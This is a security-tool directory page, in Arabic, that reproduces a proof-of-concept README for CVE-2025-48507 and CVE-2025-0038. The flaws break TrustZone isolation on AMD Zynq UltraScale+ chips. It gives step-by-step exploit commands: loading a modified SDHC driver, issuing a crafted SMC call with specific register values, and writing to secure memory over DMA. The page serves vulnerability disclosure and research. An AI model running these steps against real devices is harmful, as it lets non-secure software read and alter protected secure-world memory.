Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
PoC_CVE-2025-48507 — إثبات المفهوم لـ CVE-2025-48507. يمكن استغلال الثغرة الأمنية بواسطة برنامج غير آمن (على سبيل المثال، Linux) لاختراق منطقة الثقة والحصول على الوصول إلى العالم الآمن. | Kitploit
أدوات/GitHubGitHub/jdbonfils/poc_cve-2025-48507
أمان الأنظمة المدمجةتصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقأمن الأجهزةالفريق الأحمراستغلال الملفات الثنائية
GitHubjdbonfils/poc_cve-2025-48507

PoC_CVE-2025-48507

إثبات المفهوم لـ CVE-2025-48507. يمكن استغلال الثغرة الأمنية بواسطة برنامج غير آمن (على سبيل المثال، Linux) لاختراق منطقة الثقة والحصول على الوصول إلى العالم الآمن.

عرض المستودع
2منذ 9 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

كسر TrustZone على Zynq UltraScale+ MPSoCs - إثبات المفهوم لـ CVE-2025-48507 و CVE-2025-0038

يمكن للبرامج غير الآمنة استغلال CVE-2025-48507 و CVE-2025-0038 للحصول على وصول قراءة/كتابة إلى العالم الآمن على منصات Zynq UltraScale+، وبالتالي كسر عزل TrustZone. ولهذا الغرض، تستغل البرامج غير الآمنة CVE-2025-0038 و CVE-2025-48507 لمسح سجلات IOU_AXI_WPRTCN و IOU_AXI_RPRTCN (0xFF240000) لتحويل وحدة تحكم SD المضيفة إلى سيد آمن. ثم تقوم البرامج غير الآمنة (مثل Linux) باستخدام وحدة تحكم SD المضيفة (واجهة التابع لا تزال غير آمنة) للكتابة أو القراءة من أي ذاكرة آمنة.

مزيد من المعلومات:

  • النشرات الأمنية من AMD:
    • AMD-SB-8008 (CVE-2025-0038) https://docs.amd.com/r/en-US/000037628/CVE-Details
    • AMD-SB-8017 (CVE-2025-48507): https://docs.amd.com/r/en-US/000039030/CVE-Details
  • عرض PowerPoint التقديمي لإثبات المفهوم: /doc/PoC_Exploit_presentation.pdf
  • فيديو إثبات المفهوم: https://www.dropbox.com/scl/fi/2ug3w9ukf366g4mi5g7y7/CVE-PoC.mp4?rlkey=9zgdayte0vv4114assf0grfgg&st=9qupyn9d&dl=0
  • المقال البحثي الأصلي (القسم 5.5): /doc/preprint.pdf

المنصات المتأثرة:

  • Kria™ SOM
  • Zynq UltraScale+ MPSoCs
  • Zynq UltraScale+ RFSoCs

المكونات المتأثرة:

  • Arm Trusted Firmware لمعالجات Cortex-A (TF-A) والبرامج الثابتة لوحدة إدارة الطاقة (PMU) حتى الإصدار 2025.1.

تنظيم هذا المستودع:

  • source/ : المصدر لإعادة إنتاج إثبات المفهوم هذا على Zynq UltraScale+ MPSoCs (ZC104)

    • لاستغلال CVE-2025-48507 و CVE-2025-0038

      • smc-tt.c: وحدة نواة أساسية تسمح لنظام Linux غير الآمن بإصدار استدعاءات SMC عشوائية.

      • Makefile: ملف Makefile لترجمة وحدات النواة عبر التجميع (يجب تعديل المسارات).

    • لاستغلال CVE-2025-0038 و CVE-2025-48507

      • sdhc.c: مشغل SDHC معدل يسمح بشن هجمات DMA باستخدام وحدة تحكم SD المضيفة (SDHC)
      • dma_patch.sh: سكريبت مناسب يعتمد على مشغل SDHC المعدل لتعديل مناطق الذاكرة العشوائية من خلال قدرات DMA لوحدة تحكم SD المضيفة
  • doc/ : العروض التقديمية والمقال البحثي الذي يفصل الثغرات الأمنية على مستويات TF-A و PMU.

  • hw_debug/: سكريبتات مصحح الأجهزة لتصحيح أخطاء TF-A على APU ومعالج PMU. توفر بيئة لتصحيح أخطاء الوظائف المتأثرة في البرامج الثابتة لـ PMU و TF-A وتأكيد نجاح الهجوم. هذه السكريبتات مخصصة للاستخدام مع Trace32 ومصحح الأجهزة JTAG Lauterbach PowerDebug PRO. تم توصيل مصحح الأجهزة بمنفذ JTAG (J180) من ZCU104.

إعادة إنتاج الهجوم

بناء البيئة:
  1. بناء بيئة متأثرة (أي Linux، TF-A، البرامج الثابتة لـ PMU...).

    • على سبيل المثال، الصور المبنية مسبقًا من Petalinux، Yocto، أدوات Petalinux...
  2. عند بناء Linux، قم بتعيين مشغل SDHC كوحدة نواة قابلة للتحميل عبر kconfig. هذا مطلوب فقط للاستغلال.

    • MMC_SDHCI=M
  3. قم بترجمة وحدات النواة smc-tt.c و sdhci.c. يمكن استخدام ملف Makefile المقدم عن طريق تعديل مسارات النواة والمترجم.

  4. لاستغلال الثغرات، أضف smc-tt.ko إلى نظام جذر Linux.

  5. لاستغلال الثغرات، أضف sdhci.ko و dma_patch.sh إلى نظام جذر Linux.

إثبات المفهوم واستغلال الثغرات:

في إثبات المفهوم، تم إقلاع النظام (أي fslb، uboot...) من بطاقة SD. تم حرق نظام جذر Linux على USB. بالنسبة لهجوم DMA، استخدم Linux قسمًا فارغًا من بطاقة SD يتم الوصول إليه بواسطة وحدة تحكم SD المضيفة التي يقودها مشغل SDHC المعدل (sdhci.ko).

لاختبار الثغرات فقط، يمكن تخطي الخطوات 2 و 3 و 5.

  1. أوامر U-boot لإقلاع Linux في العالم غير الآمن مع نظام جذره على قسم USB:

    root@kitploit:~
    setenv bootargs root="/dev/sda" rw rootwait; fatload mmc 0 0x200000 Image && fatload mmc 0 0x1e0000 system.dtb && booti 0x200000 - 0x1e0000
    
  2. إدراج مشغل SDHC المعدل لأداء وصول DMA عشوائي:

    root@kitploit:~
    insmod /sdhci.ko
    insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-pltfm.ko
    insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-of-arasan.ko 
    
  3. محاولة تعديل الذاكرة الآمنة باستخدام مشغل SDHC المعدل. يجب أن تفشل لأن SDHC لا يزال غير آمن:

    root@kitploit:~
    ./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3
    
    • ARG1: الحمولة

    • ARG2: واصف ضار لأداء وصول DMA مارق.

      • مثال: '\x00\x00\xdc\xff\x20\x00\x23\x00' لتعديل 0x20 بايت عند العنوان 0xFFDC0000. يجب ترك \x23\x00 كما هو
    • ARG3: قسم جهاز يتم إدارته بواسطة وحدة تحكم SD المضيفة التي يتحكم بها مشغل SDHC المعدل.

      • مثال: /dev/mmcblk0p3
  4. استغلال الثغرات لمسح IOU_AXI_WPRTCN و IOU_AXI_RPRTCN (0xFF240000):

    root@kitploit:~
    insmod /smc-tt.ko r0=0xc200002E r1=0xff24000000000100 r2=0x100000000
    
    • 0xc200002E: استدعاء SMC المتأثر (PM_FPGA_READ).

    • 0xff24000000000100: العنوان المراد مسحه (0xFF240000) (أي IOU_AXI_RPRTCN/IOU_AXI_WPRTCN) وعدد البايتات المراد مسحها (0x00000100)

    • 0x100000000: قراءة بيانات PL مرة أخرى إلى الذاكرة الرئيسية (0x1). نظرًا لعدم تحميل أي شيء، فإن هذا ببساطة يمسح منطقة الذاكرة المستهدفة.

الآن يمكن لـ Linux استخدام DMA لـ SDHC للوصول الكامل إلى الذاكرة الآمنة

تنزيل الأداة
  • مزيد من المعلومات حول معلمات PM_FPGA_READ: https://github.com/ARM-software/arm-trusted-firmware/blob/c8eb6b042b57a145945a80fe4949c6f678309925/plat/xilinx/zynqmp/pm_service/zynqmp_pm_api_sys.c#L1693

  • محاولة تعديل الذاكرة الآمنة مرة أخرى (0xFFDC0000). يجب أن تنجح لأن SDHC أصبح الآن آمنة:

    root@kitploit:~
    ./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3